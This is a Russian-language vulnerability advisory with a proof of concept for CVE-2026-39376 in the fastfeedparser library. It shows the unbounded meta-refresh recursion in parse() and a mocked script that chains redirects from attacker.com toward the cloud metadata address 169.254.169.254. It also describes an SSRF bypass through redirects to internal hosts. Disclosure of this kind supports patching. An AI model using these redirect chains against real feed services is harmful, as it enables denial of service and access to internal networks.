
Доказательство концепции для CVE-2026-39376, демонстрирующее отказ в обслуживании через бесконечный цикл перенаправлений с помощью цепочек meta-refresh в fastfeedparser, с потенциалом для связки с SSRF.
CVE-2026-39376 (бесконечный цикл перенаправления DoS через цепочку meta-refresh)
Когда parse() получает URL, который возвращает HTML-страницу, содержащую тег <meta http-equiv="refresh">, она рекурсивно вызывает саму себя с URL перенаправления — без ограничения глубины, без дедупликации посещённых URL и без ограничения количества перенаправлений. Сервер, контролируемый атакующим, который возвращает бесконечную цепочку HTML-ответов с meta-refresh, вызывает неограниченную рекурсию, исчерпывая стек вызовов Python и приводя к аварийному завершению процесса. Эта уязвимость также может быть объединена с сопутствующей проблемой SSRF для доступа к внутренним сетевым целям после обхода первоначальной проверки URL.
parse() перехватывает ValueError при сбое разбора XML, извлекает URL meta-refresh из HTML-ответа через _extract_meta_refresh_url() и вызывает саму себя с этим URL. Рекурсивный вызов безусловный — нет максимальной глубины перенаправления, нет набора уже посещённых URL и нет защиты от самореферентных или зацикленных перенаправлений.
fastfeedparser/main.py — parse() (рекурсивная точка входа):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← безусловная рекурсия, без ограничения глубины
_extract_meta_refresh_url() использует urljoin(base_url, match.group(1)), поэтому относительные, протокол-относительные (//host/path) и абсолютные URL в атрибуте content= обрабатываются все.
Живой сервер не требуется. Следующий код подменяет _fetch_url_content для возврата бесконечной HTML-цепочки meta-refresh и подтверждает неограниченную рекурсию:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Вывод:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
Каждый рекурсивный вызов выполняет реальный HTTP-запрос (таймаут 30 с), разбор HTML и выделение кадра стека Python. При стандартном лимите рекурсии Python в 1000 и таймауте 30 с на запрос, один запрос атакующего может удерживать поток сервера занятым до ~8 часов, прежде чем будет вызвано RecursionError.
Вариант цепочки SSRF: Первый ответ может быть легитимным HTML, перенаправляющим на внутренний адрес (http://192.168.1.1/), что позволяет циклу перенаправления также служить обходом SSRF для целей, которые в противном случае были бы заблокированы проверкой URL на уровне приложения, применяемой только к первоначальному URL.
Это уязвимость типа «отказ в обслуживании» с вторичным эффектом объединения с SSRF. Любое приложение, которое принимает предоставленные пользователем URL фидов и вызывает fastfeedparser.parse(), затронуто — включая RSS-агрегаторы, сервисы предпросмотра фидов и функции «подписка по URL». Атакующий без аутентификации может:
RecursionError после ~1000 перенаправлений